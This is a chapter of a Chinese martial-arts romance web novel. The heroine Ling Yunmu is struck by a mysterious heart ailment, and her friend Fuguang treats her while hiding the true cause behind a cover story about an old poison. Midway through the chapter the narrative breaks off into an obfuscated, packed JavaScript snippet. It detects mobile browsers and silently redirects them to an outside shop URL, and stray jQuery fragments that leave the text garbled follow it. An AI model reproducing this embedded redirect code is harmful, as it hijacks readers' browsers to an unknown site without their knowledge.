52. 第 52 章
    凌云木忍无可忍,挥拳便要攻他腹部,忽而心头一阵急痛,蔓延至四肢百骸,拳头硬生生僵悬在空中,额角被逼出冷汗,头晕目眩,竟至不能站立。

    “怎么了?”见她情形不对,忙搂住她腰身,让她靠在自己怀中。

    “小木木,你怎么了?”他担忧的望向她,凌云木用手捂住胸口,睫毛微湿,咬牙道:“心口疼。”

    心口?

    他略作思索,便自怀中取出一棕泥色瓷瓶,倒出一粒拇指般大的丸球,塞入她口中。

    浓郁的苦味自喉间弥漫,慢慢渗到舌尖,苦哈哈的,直苦的她浑身血液逆流,一张脸皱成了包子。

    荀鹤顾不得其他,将她抱至软垫上坐下,自己则双手撑着她后背,为其运功缓转身体痛楚。

    只是当他内力逼入她体内的刹那,一阵窒息翻涌而来,像是被汹涌的海浪拍击到海底最深处,周遭一片死寂,令人喘不过气来。

    他收回拍在她后背的两手,凌云木失了倚靠,不禁弯腰双手撑地,额头上汗水不消减,眼神却渐渐清明,心口处的疼痛亦隐隐削减,应当是那颗药丸之故。

    “你经脉怎么回事?”他起身,单膝跪在她身旁,看着她低垂的侧脸,眉头紧皱,单手抚上她的肩膀。

    凌云木缓缓摇了摇头,看得出来她很想将话说得利落干脆,可是出口却是有气无力,“我不清楚。”

    “我带你去寻浮光。”说着便将她打横抱起,让她整个人靠在自己身上。

    “该死……”凌云木懊恼的闭了闭眼,今日本是想与银灯一道,给江湖上那些欲取她性命的人一点颜色看看,只差临门一脚,偏又出了这么个状况,心头不免愤懑起来。

    她现在这样子还怎么耍威风,被他们瞧见了岂不笑掉大牙,成了板上鱼肉,人为刀俎。

    “我现在还没虚弱到这种程度。”她咬了咬牙“放我下来。”她声音依旧虚弱无力。

    “听话,莫要逞能。”他抱着他的手愈发紧了些,凌云木面色愈发阴沉,“荀鹤,我让你放我下来,你没听到吗,还是说你觉得你能这么抱我一辈子?”

    “一辈子又如何?下辈子我还这般抱着你。”

    旭日东升,金晃晃的光芒穿过林间树梢,打落在他眼底,令人瞧不真切他眸底思绪,只看到那双墨玉般的眸子染上了一抹黄澄澄的金光。、

    凌云木合拢双眸,头微微往外侧去,显然并不领情。

    来到浮光院内,远远便瞧见浮光一人独站栾树旁,双手背在身后,眉眼低垂,不知在思索什么。

    那张如凝脂的脸而今似覆了层面粉透着苍白之色,那双清眸又因昨一夜未眠之故,透出些淡胭脂的红。

    昨晚三人议定,暂且不将此事告知九兰,两位师父也承诺过会一同寻找毁誉堂,找到解药,如今也只能靠药力压制,是个治标不治本的法子。

    不过现下当务之急,她还须得捏个理由,来解释她身上的病患。

    “来了。”

    荀鹤心头腾起一抹疑惑,浮光莫非早料定他们会来,故而在这儿等着他们?

    这般想着,眼眸不由得暗了几分。

    “放我下来。”她暗声警告,抵在他胸前的手暗暗推搡几下,细看之下,她耳根竟染上一抹粉霞。

    这倒是奇了……他眨了眨眼,恐是自己瞧错了,定睛再瞧时,白净耳根上那一抹粉红仍在,荀鹤心头觉得甚是有趣,她不是号称万花丛中过,片叶不沾身,端得是风流快活,裘马轻狂,怎地而今竟也开始羞赧起来了。

    彼时她自持武力甚高,一切尽在掌控之中,安全感十足,二人间的拉扯挑拨皆由自己主导,逗的人家窘迫耳红面脸滴血,除却觉得有趣好玩儿再无其他。

    可而今她落了下风,浑身都觉得不自在,吼道:“看什么看,没见过我?”

    荀鹤哼着笑了一声,颇为认真的点了点头:“的确没见过你这样儿的。”

    “等一会儿看我把你暴打一顿。”她恶狠狠威胁道,可是由于气力不足,这话说的跟挠痒痒似的,逗得荀鹤哈哈大笑起来。

    “行行行,只要你身子健康,就是把我当麻袋打我也愿意。”

    凌云木翻了个白眼儿,嫣红唇角却勾起一抹极为细小的弧度。

    荀鹤将她放下,她虽觉脚步绵软虚浮,小腿处却隐有硬朗之气,不妨碍走动,便加快几步朝浮光身旁走去。

    荀鹤依旧是信步而行,望着她的背影,心底隐有一抹忧愁。

    方才在为她运气疗伤之际,他便感受到她浑身经脉被牢牢阻塞,她身体定觉不适,可是短短几日,怎会如此,当真奇怪。

    再有,她隐约觉察到小木木体内似有一物,在抗拒着他的入侵,那股力道极力蛮横,甚至要将他的气息逼出体外,原路奉还。

    他认定此事定非寻常,且看浮光如何去说。

    见人已至,浮光迎上前来,眉宇之间浮现一抹担忧。

    凌云木打量了一番她的面色,只道许是因着何望秋一事心中苦恼,只道了句:“浮光,你面色不太好。”

    “无妨,昨夜没睡安稳。”她微微一笑,将她带入屋内,荀鹤紧随其后。

    “浮光知道小木木会来?”一进屋,荀鹤随意寻张椅子坐下,漫不经心问着。

    凌云木亦抬起头来,念及方才浮光的模样,似乎正是在等着什么人。

    “嗯。”浮光点了点头“我确实是在等她。”

    荀鹤眉梢轻挑:“哦?”

    浮光没理他,看向凌云木的脸色凝重:“今早可是有何异常?”

    浮光开门见山,凌云木亦直截了当道:“不是今早,是昨晚。昨晚安睡之前,我曾打坐运功,却发现浑身络脉凝滞,双手冰凉。”

    浮光一边儿摸向她的脉,一边儿分神听她细说,“后来今早,我挥拳欲揍荀鹤,便觉得浑身血管叫嚣着似要炸裂开来,紧接着便是心口一疼,四肢百骸似被蚁虫啃噬,疼痛难忍,浑身力气恍若尽数被抽离。”

    荀鹤在一旁听着她描述自己身体的感受,唇隙紧抿,罕见的透着些冷峻气息。

    “这是怎么回事儿?”她忽而想起什么一般,看着她的目光有些紧张“莫非我得了什么不治之症?”

    “我还这么年轻,正值英年,难道当真是天妒红颜?”一开始她还有些忧心忡忡,可越往后说,她反倒是愈发兴奋了,活似要去投胎般。

    “不过若真剩下没几天活头了,我还待在崖州作甚,不若大肆挥霍一番,来他个纸醉金迷,酒池肉林,也不枉来这世上走一遭。”

    “死不了死不了。”浮光摇头失笑。

    “那这是怎么回事?”细听之下,语气竟是有些惋惜。

    浮光微微思索,道:“九兰可记得你剑脉受损一事?”

    “记得。”她点了点头,那种令人痛彻心扉的事情,饶是时间愈发久远,可对它的记忆却仍是历历在目。

    “这与那件事又有何关系?”凌云木眨着一双眼睛,疑惑的看向她。

    浮光面不改色,为隐瞒真情,圆方才的谎,只得编造另一个谎言,而沈云霏又入了毁誉堂,实乃最佳人选。

    “当年你中了沈云霏的秘毒,恐是此毒再度发作。”她叹息一声“也怪我当年掉以轻心,竟让余毒弥留之今,才惹得这般祸事。”

    凌云木心头觉得有些奇怪,当年沈云霏下的毒着实可令内力涣散,然而却并不耽误运功,哪里如现在这般,竟至使不出一点气力来,稍一运气便觉心口疼。

    再者,浮光行事一向谨慎,何以有掉以轻心之谈?

    对此,浮光的解释是:这毒成长了,变异了。

    倒像是个活物。

    不过凌云木对于医理一窍不通,也毫无一丝兴致,只是似懂非懂的点了点头,看着她道了句“有救吗?”

    倒是荀鹤,从进来到现在,只说了两句话,便垂眸不语,闲闲拨弄着挂在凌云木鞭把上的流苏,流苏随着他指尖动作来回跃动,眸光却微微涣散,不知在思索着什么。

    “有。”浮光点了点头,见她并未起疑,心头稍定。

    “是什么?”凌云木倾了倾身,眼神微亮。

    看着她希冀的目光,浮光心头涌上一抹酸楚,“若还是原先的毒,我可为你治疗。可如今此毒毒性狠辣,我只能为你压制一番,若要根治,还需去寻毁誉堂堂主。”

    凌云木疑惑的嗯了声,满脸困惑,怎么又扯上毁誉堂了,什么乱七八糟的。

    “浮光医术这般高明,竟也不能救我吗?”她叹了口气,单手托腮,看来她这次真是麻烦了。

    浮光抿了抿唇,不知作何言语,欺瞒自己的好朋友,终究心中有愧,而她夹在师父与九兰之间,处境更是难熬。

    “不过这与毁誉堂有什么关联?”

    浮光知她定会有此一问,便将早已准备好的答案告知于她,“可记得那日我初次与你把脉之际?”

    凌云木回想一番,方才想起那夜的事情,点了点头。

    “那日我便觉得你脉象有异,故而我去询问玉师父,他说只有毁誉堂堂主有此毒之解药。”

    真假参半,最是令人辨不清真相是何。

    也罢,凌云木长叹一声,浮光既是这般说了,她照做便是,她总归不能害她。

    不过这毁誉堂……那可是出了名的难寻呐!她心头不由得一凉,恐怕没个三年五载,怕是寻不到。

    这般想着,她心头又是一转,浮光既说能压制,便先压制着,等回头压不住了再说。

    “可我怎地觉得小木木体内不似毒物。”荀鹤忽而出声,语调徐徐,不紧不慢,浮光心头微凛,面上不显。

    “此话怎讲?”她为自己斟了杯茶,据凌云木对她的了解,浮光口渴时会斟茶,借以掩盖心头惊慌时也会斟茶。

    “没事。”他勾唇一笑,“只是想说一句。”

    浮光浅啜一口,稳稳放下茶盏,心头松了一口气。

    她瞥开脑海中万千思绪,对着浮光笑道:“那浮光先与我开药压制,稍后我与银灯约了去栖凤镇一趟。”

    栖凤镇是凌云木所制目的地中距离崖州最近的一处,可饶是如此,骑千里马也得走上半日。

    浮光眉头微蹙:“你去栖凤镇作甚?”

    凌云木自怀中掏出那本《人夫录》,指尖微点,冷笑一声,“这上头的人拿钱买我的命。”

    浮光看着那本册子,自是眼熟。当时她让他们在上头签字画押,为得就是捏住人家把柄,好捉弄,可现在……怎么事情忽然发展成这幅样子。

    浮光:“所以……”

    “所以,我要拿他们的钱,买他们的命。”她唇角一勾,魅人一笑。

    “怎么买?”浮光问道。

    “你且附耳过来。”她对她招了招手,浮光心想搞什么啊神秘兮兮的,不过还是将板凳往她那厢移了移。

    荀鹤眸光微闪,也贴了过来。

    “你干什么?”凌云木抬手阻止他的靠近,不满的看向他。

    “当然是听你说计划了,我跟你一起去。”他笑吟吟说着,神情雀跃。

    “不行。”凌云木现在可以确定的是,他跟陆舒客必定有往来,这件事不能让他听到。

    “为什么?”他委屈巴巴的看着她,像是生老病死般黯然神伤。

    凌云木嘴角抽了抽,“别装了,有点过了……”

    荀鹤:“这怎么能叫装呢?就算是装,我也只在你面前装啊。”

    在不要脸这种事情上,他称第二没人敢成第一。

    凌云木还没说话,他又道:“先前我病没好去不成,而今病好了,你让我去也罢不让我去也罢,最后我都会跟着去。”

    凌云木煞有介事的点点头:“嗯,你有种,有种就别听。”

    “不听便不听。”荀鹤起身,微笑着拍了拍她肩膀,转身出门。

    凌云木看了他离去的背影一眼,便将计划一一与浮光道去。

    “不行。”浮光伸手,将放在桌子上的《人夫录》拿了去。

    “为什么,不好玩儿吗?”一想到他们发现自己被她耍的团团转的表情,她就心花怒放,恨不得即刻动身,将理想化为现实。

    浮光抬眸看向凌云木,见她依旧一副嘻嘻哈哈的模样,心头涌起一阵怒火。

    如今她药方还没开,她就想着去江湖搅弄风云。

    有这么作践自己身子的吗?

    再者,不出意外,她这番动作,将会使江湖掀起一阵腥风血雨,是福是祸难以定量。

    她耐着性子劝道:“若是平常,你哪怕上刀山下火海我都不拦你,可你而今的身子,还望你多多思量。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093889|147769||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    “所以这不是来寻你开药来了。”凌云木不以为意,与他嬉笑,眸光里迸发着跃跃欲试的小火苗,真真是干劲十足。

    对她的劝谏,她总是不听,浮光心头哀叹一声。

    “罢了……你总是这样,不听劝告。”

    “浮光不也常常将事情憋在心头,不顾旁人是否担忧。”

    浮光心头对何望秋及久瑟一事定是百感交集,可这些日子以来她从未与她吐露过哪怕一丝一毫的心绪。凌云木偶尔闲庭信步饶到她院旁,隔着老远儿便瞧着她神情落寞,周身弥漫着一层单薄雾气,自斟自饮。

    她每每问她心情如何,浮光总是冲着她微微一笑,可她却无数次觉得,她的笑是空洞洞的。

    浮光眸光微垂,她早已习惯了将心事深藏,也不愿让九兰忧心。

    “我与你开药去。”她撂下这句话,提步便走。

    凌云木心头不禁有些烦闷,就连方才兴冲冲欲跑去江湖中搅弄风云的心思也歇了火。

    -

    银灯在门口已等候多时,却仍不见自家师父踪影。

    师父难道还没起身?她晃了晃脑袋,当下便否定了这个结论。

    师父勤勉,众人皆知,难不成是遇到了什么事?

    思及此,他抬腿便要往凌云木院中走去,走至一道岔路口,正好瞧见荀鹤踱步而来。

    他越过他看向身后,这人好像是打浮光那边儿来的。

    “你怎么在这儿?”他语气略有不善。

    “来找你师父啊。”他面上笑容不减,现今天色已然大白,来势汹涌的热气如饥似渴般将晨露尽数吞咽,他鼻尖亦不免沁出些薄汗。

    “听说你师父跟陆大人私定终身了呢。”他声音轻佻,依旧是一副玩世不恭事不关己的模样。

    银灯略有些诧异,旋即一想,依着师父的秉性,断不可能做出这般事来,可心底仍是有些揣揣,“不可能。”

    “怎么不能?”他好笑的看着他,瞥了眼他紧握的拳头,眉梢微挑,心头暗骂了一句麻烦。

    银灯:“你听谁说的?”

    “白凤。”忽而想起什么,他唇角一勾,眼底压着晕不开的冷意,“听白凤说,你师父很主动。”

    银灯方才安分下来的心现今好似坠入冰湖深渊,哇凉哇凉的,却又警惕的望向他,“你跟我说这些干什么?”

    “不干什么,随便说说。”他耸了耸肩,挪步朝院中小亭而去。

    银灯知道他,师父那年去无影宗取无骨草,二人一不小心擦出了火花,话说那时师父不也挺喜欢他吗?

    可现在呢,他还不是成了过去,这样的人他见多了,最后能陪在师父身旁的,只会是他。

    想到这点,他心情不由得愉悦起来,迈着轻快的步伐朝浮光院中而去。

    方才荀鹤说来寻师父,又打浮光那处过来,说明师父在浮光院内,他心下微定,脚步也略快了些。

    “师父!”

    凌云木正阖眼小憩,抬眼便瞧见一张笑容可掬的俏脸。

    “啊,银灯。”她恍然忆起今早与他的约定,一声不吭放了他鸽子,不免有些赧颜抬手摸了摸鼻子。

    不过看他那张笑嘻嘻的脸,似乎全无恼意,微有些疑惑。

    若是她被人撂了鸽子,她少说也得筋骨伺候他几下,诶呀还是自家徒弟好啊,怎么样都不生气。

    不过她印象中银灯一贯心大,这点儿小事自当影响不了他的心情。

    银灯对于被她放鸽子的事情,早在几年前便已经习惯了,所以才没恼,现下他更关心的是师父会不会再次用那个已经用到烂的万油金借口:诶呀乖徒弟,师父一个不小心忘了……下次再去吧!

    出于心底的良心,凌云木还是打算歉意的与他解释一番,银灯晃见她那张熟悉的笑容,便猜到她要与他道放他鸽子的歉。

    “今早我正要出门,身子忽觉不舒服,一忙倒是将你忘了,是师父对不住你。”

    和心中所想的有些许不同,银灯怔楞一瞬,旋即想起师父说她自个儿不舒服的事情,连忙关切询问,“师父怎么了,哪里不舒服?”

    “不用担心。”看着他焦急的神情,凌云木宽慰道:“浮光正开药呢,不是什么大事。”

    银灯:“师父既然身子不适,不若我们暂缓行动如何?”

    凌云木摆了摆手,正要说时,浮光带着两瓶药走过来,瞥了眼蹲在凌云木身旁一脸关切看着她的银灯。

    银灯见状打了声招呼,浮光微微点了点头,算作回应。

    她先是将印有青花的瓷瓶递给凌云木,“这药丸唤作清心丸,早上一粒。”凌云木接过,打开封塞,凑近一闻,好家伙,这东西哪里是药啊,说是糖都不为过。

    “这药闻者好甜啊。”凌云木笑嘻嘻道,全不是个病人模样。

    浮光没理他,将另一个棕泥色瓷瓶递给她,凌云木有些眼熟。

    这个色的小瓷瓶,今早她好像在荀鹤手头见过,不及细想,浮光便将这瓶药递给她,口中嘱托道:“此物唤雀元丹,也是早上一粒。”

    凌云木朝阳掀开封塞,翻手便倒出一粒,与今早荀鹤喂她的一般无二。

    浮光看出她的异常,“怎么了?”

    “这药和今早荀鹤喂我的一样,苦哈哈的。”她皱了皱眉,嫌弃的将塞子盖上。

    浮光轻笑一声,语气略重了些:“这两颗药丸,每天一个都不能少,否则有你苦头吃的。”

    凌云木不放过一丝希望:“没什么能替代这雀元丹的吗?”

    浮光:“知你素日行事不拘,我才寻了这两瓶药来,你若要喝中药,倒也行,就是麻烦点。”

    凌云木:“那味道有什么区别吗?”

    浮光摇头:“没有。”

    那还不如吃药丸,可一想起早上那生不如死的苦味,她就笑不出来。

    “这清心丸与雀元丹,一粒在江湖上便值千金,你体内毒势凶猛,需得用上好的药来治,可定要记得吞服。”浮光又一次嘱托道。

    “好。”凌云木心不甘情不愿的点了点头,又问“那我今早吃了雀元丹,现下是不是只用吃清心丸?”

    浮光:“对。”

    这清心丸闻得那般香甜,想必味道也不错,她没有任何防备的吞入口中,一张笑脸顿时僵住。